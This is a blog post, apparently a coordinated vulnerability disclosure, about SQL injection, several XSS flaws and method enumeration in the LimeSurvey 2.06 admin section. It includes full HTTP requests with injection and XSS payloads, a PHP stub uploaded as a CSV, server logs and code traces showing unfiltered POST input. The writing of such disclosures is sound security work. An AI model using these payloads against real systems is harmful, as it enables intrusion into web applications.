Response from LimeSurvey Team was very fast! :)
Found: 4.11.2015
Sent: 5.11.2015
Resp: 5.11.2015
AFAIK all findings were fixed in 48h. So... here we go:
=========================================================
Title : LimeSurvey 2.06 - Multiple vulnerabilities
Version : stable-release-limesurvey206plus-build151018.zip
Found : 04.11.2015
=========================================================
Summary:
All described vulnerabilities were found in section related to admin.
Case I ------------ SQL Injection in "searchcondition"
Case II ----------- XSS in "page"
Case III ---------- XSS in "filterbea"
Case IV ---------- Information disclosure a.k.a. 'method enumeration'
Case V ----------- XSS in "templatename"
Case VI ---------- XSS in "lang"
=========================================================
CASE I: SQL Injection in "searchcondition"
=========================================================
---<request>---
POST /limesurvey/index.php/admin/participants/sa/getParticipantsResults_json HTTP/1.1
Host: 192.168.1.5
(...)
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.5/limesurvey/index.php/admin/participants/sa/displayParticipants
Content-Length: 192
Cookie: PHPSESSID=vmu9d3vriajf213m0u7lmdbl36; YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0
Connection: close
Pragma: no-cache
Cache-Control: no-cache
YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0&searchcondition='>"><body/onload=alert(123123)>%7C%7Cequal%7C%7Ca&_search=false&nd=1446643744367&rows=25&page=1&sidx=firstname&sord=desc
---</request>---
After enabling log's in MySQL, we can find:
---<logfile>---
151104 8:55:13 71 Connect root@localhost on limesurvey
71 Query SET NAMES 'utf8'
71 Query SELECT * FROM `lime_settings_global` `t`
71 Query SELECT * FROM `lime_plugins` `t` WHERE `t`.`active`=1
71 Query SELECT * FROM `lime_permissions` `t` WHERE `t`.`entity_id`=0 AND `t`.`e ntity`='global' AND `t`.`uid`=1 AND `t`.`permission`='superadmin' LIMIT 1
71 Query SELECT * FROM `lime_participant_attribute_names` `t` WHERE visible = 'T RUE'
71 Query SELECT `lime_participant_attribute_names`.* FROM `lime_participant_attribute_names`
ORDER BY `lime_participant_attribute_names`.`attribute_id`
71 Query SELECT count(*) as cnt FROM `lime_participants` `p` left join lime_users luser
ON luser.uid=p.owner_uid WHERE ('>"><body/onload=alert(123123)> = 'a')
71 Quit
---<logfile>---
Response on web should looks similar to this one (btw: one below is of course for different payload):
---<response>---
</head>
<body>
<h1>Internal Server Error</h1>
<h2>CDbCommand failed to execute the SQL statement: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"%';/**;--# = 'a')' at line 4</h2>
<p>
An internal error occurred while the Web server was processing your request.
Please contact the webmaster to report this problem.
</p>
<p>
Thank you.
</p>
<div class="version">
2015-11-04 08:29:59 </div>
---</response>---
=========================================================
CASE II: XSS in "page"
=========================================================
Request looks like this:
---<request>---
POST /limesurvey/index.php/admin/participants/sa/getAttributeInfo_json HTTP/1.1
Host: 192.168.1.5
(...)
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.5/limesurvey/index.php/admin/participants/sa/attributeControl
Content-Length: 160
Cookie: PHPSESSID=vmu9d3vriajf213m0u7lmdbl36; YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0
(...)
Cache-Control: no-cache
YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0&_search=false&nd=1446643645699&rows=25&
page='>"><body/onload=alert(123123)>&sidx=attribute_name&sord=asc
---</request>---
Let's find 'page' parameter:
root@heaphop:/var/www/html/limesurvey# grep -nr -e "\$page " ./ | grep getPost
./application/controllers/admin/participantsaction.php:386: $page = Yii::app()->request->getPost('page');
./application/controllers/admin/participantsaction.php:764: $page = (int) Yii::app()->request->getPost('page');
./application/controllers/admin/tokens.php:357: $page = Yii::app()->request->getPost('page', 1);
root@heaphop:/var/www/html/limesurvey#
As we will see below, the body of getPost() need some filters:
(...)
197 public function getPost($name,$defaultValue=null)
198 {
* 199 return isset($_POST[$name]) ? $_POST[$name] : $defaultValue;
200 }
(...)
=========================================================
CASE III: XSS in "filterbea"
=========================================================
Again, XSS vulnerability:
---<request>---
POST /limesurvey/index.php/admin/participants/sa/attributeMapCSV HTTP/1.1
Host: 192.168.1.5
(...)
Referer: http://192.168.1.5/limesurvey/index.php/admin/participants/sa/importCSV
Cookie: PHPSESSID=vmu9d3vriajf213m0u7lmdbl36; YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------27432681027439
Content-Length: 772
-----------------------------27432681027439
Content-Disposition: form-data; name="YII_CSRF_TOKEN"
c36af5a641de36a66bc377f9e85a84b81e234ff0
-----------------------------27432681027439
Content-Disposition: form-data; name="the_file"; filename="mishell.csv"
Content-Type: application/vnd.ms-excel
<?php blash();
-----------------------------27432681027439
Content-Disposition: form-data; name="characterset"
auto
-----------------------------27432681027439
Content-Disposition: form-data; name="separatorused"
auto
-----------------------------27432681027439
Content-Disposition: form-data; name="filterbea"
';alert(123);//;]
-----------------------------27432681027439--
---</request>---
XSS occurs also when content of CSV file is delivered in HTML/JS code.
Also vulnerable in this request is "characters" parameter.
Looking for (first) parameter in the code:
---<code>---
k@heaphop:/var/www/html/limesurvey$ grep -nr -e filterbea --color ./
./application/views/admin/participants/importCSV_view.php:58: <input type="checkbox" name="filterbea" value="accept" checked="checked"/></li>
./application/controllers/admin/participantsaction.php:1069: $filterblankemails = Yii::app()->request->getPost('filterbea');
./application/controllers/admin/participantsaction.php:1128: 'filterbea' => $filterblankemails,
[2]./application/controllers/admin/participantsaction.php:1164: $filterblankemails = Yii::app()->request->getPost('filterbea');
[1]./scripts/admin/attributeMapCSV.js:167: filterbea : filterblankemails
./tmp/assets/4d47b42b/c_c07fffd6895085b3918cd1f5eff2bbae.js:2577: filterbea : filterblankemails
k@heaphop:/var/www/html/limesurvey$
---</code>---
First of all, let's check file contain JS:
---<code>---
./scripts/admin/attributeMapCSV.js:167: filterbea : filterblankemails
(...)
k@heaphop:/var/www/html/limesurvey$ cat -n ./scripts/admin/attributeMapCSV.js | less
159
160 $("#processing").load(copyUrl, { <= [1]
161 characterset: characterset,
162 separatorused : separator,
163 fullfilepath : thefilepath,
164 newarray : anewcurrentarray,
165 mappedarray : mappedarray,
166 overwrite : attoverwrite,
167 filterbea : filterblankemails <= [2]
168 }, function(msg){
---</code>---
In [2] we can see our parameter, in [1] there is a .load() function
and it "look's like" jQuery/AJAX-function: http://api.jquery.com/load/
So, after checking description on page (.load() purpose):
"Load data from the server and place the returned HTML into the matched element."
Great.
Let check second file:
---<code>---
k@heaphop:/var/www/html/limesurvey$ cat -n ./application/controllers/admin/participantsaction.php | less
1065 if (strtolower($sExtension)=='csv')
1066 {
1067 $bMoveFileResult = @move_uploaded_file($_FILES['the_file']['tmp_name'], $sFilePath);
1068 $errorinupload = '';
1069 $filterblankemails = Yii::app()->request->getPost('filterbea');
1070 }
1071 else
1072 {
1073 $templateData['errorinupload']['error'] = gT("This is not a .csv file.");
---</code>---
Good.
Let's find getPost() function:
---<code>---
k@heaphop:/var/www/html/limesurvey/framework$ grep -nr -e "function getPost" ./
./web/CHttpRequest.php:197: public function getPost($name,$defaultValue=null)
./yiilite.php:2308: public function getPost($name,$defaultValue=null)
k@heaphop:/var/www/html/limesurvey/framework$ cat -n web/CHttpRequest.php | less
188 /**
189 * Returns the named POST parameter value.
190 * If the POST parameter does not exist, the second parameter to this method will be returned.
191 * @param string $name the POST parameter name
192 * @param mixed $defaultValue the default parameter value if the POST parameter does not exist.
193 * @return mixed the POST parameter value
194 * @see getParam
195 * @see getQuery
196 */
197 public function getPost($name,$defaultValue=null)
198 {
* 199 return isset($_POST[$name]) ? $_POST[$name] : $defaultValue;
200 }
201
---</code>---
So filtering is missing again. (By the way, it will be good idea to check other 'get'-like functions:
getPost(), getConfig(), and so on.)
=========================================================
CASE IV: Information disclosure a.k.a. 'method enumeration'
=========================================================
Requesting non-existing method, like 'export':
http://192.168.1.5/limesurvey/index.php/admin/export
will print:
---<response>---
Internal Server Error
Method export::index() does not exist
An internal error occurred while the Web server was processing your request. Please contact the webmaster to report this problem.
Thank you.
2015-11-04 16:09:55
---</response>---
so 'method-enumeration' is possible (if displaying errors is enabled of course).
=========================================================
CASE V: XSS in "templatename"
=========================================================
Full request to vulnerable parameter:
---<request>---
POST /limesurvey/index.php/admin/templates/sa/templatesavechanges HTTP/1.1
Host: 192.168.1.5
(...)
Referer: http://192.168.1.5/limesurvey/index.php/admin/templates/sa/view/templatename/__________________________________________tmp_teraz
Cookie: PHPSESSID=3t2jvf1p7n44msqgmsvjkhd534; YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=size; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=on
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2070
YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0&templatename='>"><body/onload%3dalert(1)>&screenname=welcome&editfile=startpage.pstpl&action=templatesavechanges&changes=%3Cmeta+http-equiv%3D%22content(...)++++++%3Ctd%3E%0D%0A
---</request>---
Response will contain XSS code:
---<response>---
<div class="warningheader">Error</div><br />
The file /var/www/html/limesurvey/upload/templates/'>"><body/onload=alert(1)>/startpage.pstpl is not writable<br /><br />
<input type="submit" value
---</response>---
Param used:
---<code>---
root@heaphop:/var/www/html/limesurvey/application/controllers/admin# grep -nr -e "Yii::app()->getConfig('" ./ --color | grep templatename
./templates.php:410: $the_full_file_path = Yii::app()->getConfig('usertemplaterootdir') . "/" . $_POST['templatename'] . "/" . $sFileToDelete;
./templates.php:519: if (rmdirr(Yii::app()->getConfig('usertemplaterootdir') . "/" . $templatename) == true) {
./templates.php:584: $savefilename = Yii::app()->getConfig('usertemplaterootdir') . "/" . $templatename . "/" . $editfile;
./templates.php:745: if (is_file(Yii::app()->getConfig('usertemplaterootdir') . '/' . $templatename . '/question_start.pstpl'))
./templates.php:883: if (is_file(Yii::app()->getConfig('usertemplaterootdir') . '/' . $templatename . '/question_start.pstpl')) {
./templates.php:902: $templatename = Yii::app()->getConfig('defaulttemplate');
root@heaphop:/var/www/html/limesurvey# grep -nr -e templatename ./ | grep POST
./application/controllers/admin/templates.php:410: $the_full_file_path = Yii::app()->getConfig('usertemplaterootdir') . "/" . $_POST['templatename'] . "/" . $sFileToDelete;
root@heaphop:/var/www/html/limesurvey# vim application/controllers/admin/templates.php
(...)
406 if (returnGlobal('action') == "templatefiledelete") {
407 // This is where the temp file is
408 $sFileToDelete=preg_replace("[^\w\s\d\.\-_~,;:\[\]\(\]]", '', returnGlobal('otherfile'));
409
410 $the_full_file_path = Yii::app()->getConfig('usertemplaterootdir') . "/" . $_POST['templatename'] . "/" . $sFileToDelete;
411 if (@unlink($the_full_file_path))
412 {
413 Yii::app()->session['flashmessage'] = sprintf(gT("The file %s was deleted."), htmlspecialchars($sFileToDelete));
414 }
---</code>---
==========================================================
Case VI - XSS in "lang" parameter
==========================================================
https://LimeSurvey/index.php/
=========================================================
Questions / Answers
=========================================================
Blog - http://HauntIT.blogspot.com/
Twitter - @HauntITBlog
Cheers
No comments:
Post a Comment
What do You think...?